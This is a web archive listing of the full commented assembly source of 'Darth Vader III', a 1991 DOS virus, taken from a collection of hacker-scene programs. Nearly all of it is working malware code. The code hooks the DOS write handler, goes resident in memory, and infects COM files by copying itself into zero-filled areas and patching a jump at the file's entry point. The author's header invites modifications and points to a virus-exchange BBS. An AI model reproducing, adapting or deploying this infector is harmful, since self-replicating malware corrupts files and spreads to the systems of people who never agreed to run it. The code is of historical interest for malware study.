home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DARTH3.ASM < prev    next >
Assembly Source File  |  1991-02-27  |  6KB  |  197 lines

  1. ;*******************************************************************************
  2. ;*                                           *
  3. ;*                  D A R T H   V A D E R   ]I[               *
  4. ;*                                           *
  5. ;*    (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia               *
  6. ;*    All Rights Reserved                               *
  7. ;*                                           *
  8. ;*    This is the third release of Darth Vader virus. He also infect only    *
  9. ;*    those COM file, wich have area of 255 (or more) zeros. As you might    *
  10. ;*    see, virus' size is reduced. This increase possibility file to have    *
  11. ;*    enough    zeros  to  hold  virus.  In  several tests the percentage of   *
  12. ;*    infected file was tested, and it was bigger than in Darth Vader 2.     *
  13. ;*    This release support only DOS 2.X and later, but less than 5.X           *
  14. ;*        You may make any modifications in this source, BUT let me know     *
  15. ;*    what you have done (drop me a message at Virus eXchange BBS)           *
  16. ;*                                           *
  17. ;*                          Waleri Todorov           *
  18. ;*******************************************************************************
  19.  
  20.  
  21.         org    0    ; Begin from offset 0
  22.  
  23.         nop        ; Dummy NOPs. Don't remove them
  24.         nop
  25.         nop
  26.  
  27.         call    NextLine    ; Call next instruction
  28. NextLine
  29.         pop    bx        ; To calculate it's own location
  30.         sub    bx,6        ; Location stored in BX
  31.         mov    [0FEh],ax    ; Save AX for further usage
  32.  
  33.         xor    ax,ax        ; Set DS to point in interrupt table
  34.         mov    ds,ax        ;
  35.         les    ax,[2Bh*4]    ; ES:AX point to vector 2B; ES==DOSSEG
  36.         xor    di,di        ; ES:DI point to DOSSEG:0000
  37.         mov    cx,1000h    ; Will search 1000h bytes
  38.         call    SearchZero    ; Search Zeros in ES:DI
  39.         jc    ReturnControl    ; If CF==Yes -> no place and exit
  40.         mov    cs:[bx+offset NewStart],di    ; Save beginnig
  41.  
  42.         xor    si,si        ; SI=0;
  43.         push    es        ; Set DS point to DOSSEG
  44.         pop    ds
  45. SearchTable
  46.         lodsw            ; Load word from DS:SI
  47.         cmp    ax,8B2Eh    ; Check first 'magic' byte
  48.         je    Found1        ; If match -> check next byte
  49. NotHere
  50.         dec    si        ; Else go search from next byte
  51.         jmp    short SearchTable
  52. Found1
  53.         lodsb            ; Load next byte
  54.         cmp    al,9Fh        ; If match with last 'magic' byte
  55.         je    FoundTable    ; fo to found table
  56.         dec    si        ; else go search from next byte
  57.         jmp    short NotHere
  58. FoundTable
  59.         lodsw            ; Load table address to AX
  60.         xchg    ax,bx        ; Exchange AX <-> BX
  61.         mov    cx,[bx+80h]    ; Load in CX old WRITE handler offset
  62.         xchg    ax,bx        ; Exchange AX <-> BX
  63.         mov    cs:[bx+offset OldWrite],cx    ; Save old offset
  64.         lea    cx,[di+offset Handle]    ; Load in CX new offset
  65.         xchg    ax,bx        ; Exchgange AX <-> BX
  66.         mov    [bx+80h],cx    ; Store new WRITE offset to table
  67.         xchg    ax,bx        ; Exchange AX <-> BX
  68.  
  69.         push    cs        ; Set DS point to virus code
  70.         pop    ds        ;
  71.         mov    cx,offset LastByte    ; CX = Virus Size
  72.         mov    si,bx        ; SI=virus start offset
  73.         rep    movsb        ; ES:DI point to free area in DOS
  74.                     ; go in there
  75. ReturnControl
  76.         push    cs        ; Set DS & ES point in host program
  77.         push    cs
  78.         pop    ds
  79.         pop    es
  80.         mov    di,100h     ; DI point CS:100
  81.         lea    si,[bx+offset First3]    ; SI point old first instr
  82.         push    di        ; Save DI for dummy RETurn
  83.         movsw        ; Move first 2 byte
  84.         movsb        ; Move another one
  85.         mov    ax,[0FEh]    ; Restore AX (Remember?)
  86.         xor    bx,bx        ; Clear BX
  87.         ret        ; Return control to host via dummy RETurn
  88.  
  89. ; Here terminate virus installation in memory. After this moment
  90. ; virus is active and will infect any COM file bigger than the virus
  91. ; and having enough zeros
  92.  
  93.  
  94. SearchZero
  95.         xor    ax,ax    ; Set AX to zero (gonna search zeros)
  96. Again
  97.         inc    di    ; ES:DI++
  98.         push    cx    ; Save CX
  99.         push    di    ; Save DI
  100.         mov    cx,offset LastByte    ; CX = Virus Size
  101.         repe    scasb    ; Search until equal
  102.         pop    di    ; Restore DI
  103.         jcxz    FoundPlace    ; If CX==0 then ES:DI point to zeros
  104.         pop    cx    ; Else restore CX
  105.         loop    Again    ; And loop again until CX!=0
  106.         stc        ; If CX==0
  107.         ret        ; Set CF and return to caller (No place)
  108. FoundPlace
  109.         pop    cx    ; Restore CX
  110.         clc        ; Clear CF (ES:DI point to zero area)
  111.         ret        ; Return to caller
  112.  
  113. ; The followed procedure is new WRITE handle. It check does write buffer
  114. ; have enough zeros to hold virus. If so -> copy virus in zero area, change
  115. ; entry point and write file, else write file only
  116.  
  117. Handle
  118.         mov    ss:[4],bp    ; Save BP (BP used as index register)
  119.         push    es        ; Save important registers
  120.         push    ax        ; DS:DX are saved last, because
  121.         push    bx        ; they are used later in infection
  122.         push    cx
  123.         push    si
  124.         push    di
  125.         push    ds        ;
  126.         push    dx        ;
  127.  
  128.         call    NextHandle    ; Call NextHandle to calculate
  129. OldWrite                ; variable area offset
  130.         dw    0        ; Old WRITE handler
  131. NewStart
  132.         dw    0        ; Virus offset in DOSSEG
  133. First3
  134.         int    20h        ; First 3 instruction of COM file
  135.         nop
  136.  
  137. NextHandle
  138.         pop    bp        ; Set SS:BP to point to variable area
  139.  
  140.         cmp    cx,offset LastByte+10h    ; Check if write buffer
  141.         jb    Do        ; is big enough. If not -> exit
  142.  
  143.         mov    ax,1220h    ; Get file handle (BX) table number
  144.         int    2Fh        ; Via interrupt 2F (undocumented)
  145.         mov    bl,es:[di]    ; Load handle table number in BL
  146.         mov    ax,1216h    ; Get file handle table address
  147.         int    2Fh        ; Via interrupt 2F (undocumented)
  148.         cmp    es:[di+29h],'MO'        ; Check if file is ?OM
  149.         jne    Do        ; If not -> exit
  150.  
  151.         pop    di    ; Set ES:DI to point write buffer
  152.         pop    es    ;
  153.         push    es    ;
  154.         push    di    ;
  155.         mov    ax,es:[di]    ; Set AX to first 2 bytes from buffer
  156.         mov    [bp+4],ax    ; and save it in First instruction
  157.         mov    al,es:[di+2]    ; Set AL to third byte from buffer
  158.         mov    [bp+6],al    ; and save it in First instruction
  159.  
  160.         call    SearchZero    ; Search zeros area in buffer
  161.         jc    Do        ; If not found -> exit
  162.  
  163.         mov    bx,di        ; Set BX to point zero area
  164.  
  165.         push    cs        ; Set DS point to DOSSEG (Virus)
  166.         pop    ds
  167.         mov    si,[bp+2]    ; Set SI to virus offset in DOSSEG
  168.         mov    cx,offset LastByte    ; Set CX to virus size
  169.         rep    movsb        ; Move virus to buffer
  170.         pop    di        ; Set DI point to buffer (not zero area)
  171.         push    di
  172.         mov    al,0E9h     ; Set AL to JMP opcode
  173.         sub    bx,di        ; Set BX to virus offset in file
  174.         stosb            ; Store JMP to buffer
  175.         xchg    ax,bx        ; AX now have offset of virus in file
  176.         sub    ax,3        ; Calculate JMP argument
  177.         stosw            ; and store it in buffer
  178.  
  179. Do
  180.         pop    dx        ; Restore important registers
  181.         pop    ds
  182.         pop    di
  183.         pop    si
  184.         pop    cx
  185.         pop    bx
  186.         pop    ax
  187.         pop    es
  188.  
  189.         push    [bp]        ; Put old WRITE offset in stack for RET
  190.         mov    bp,ss:[4]    ; Restore BP
  191.  
  192.         ret            ; Call DOS via dummy RETurn
  193.  
  194.         db    'Darth Vader '  ; Virus sign
  195.  
  196. LastByte    label    byte        ; Last byte of virus
  197.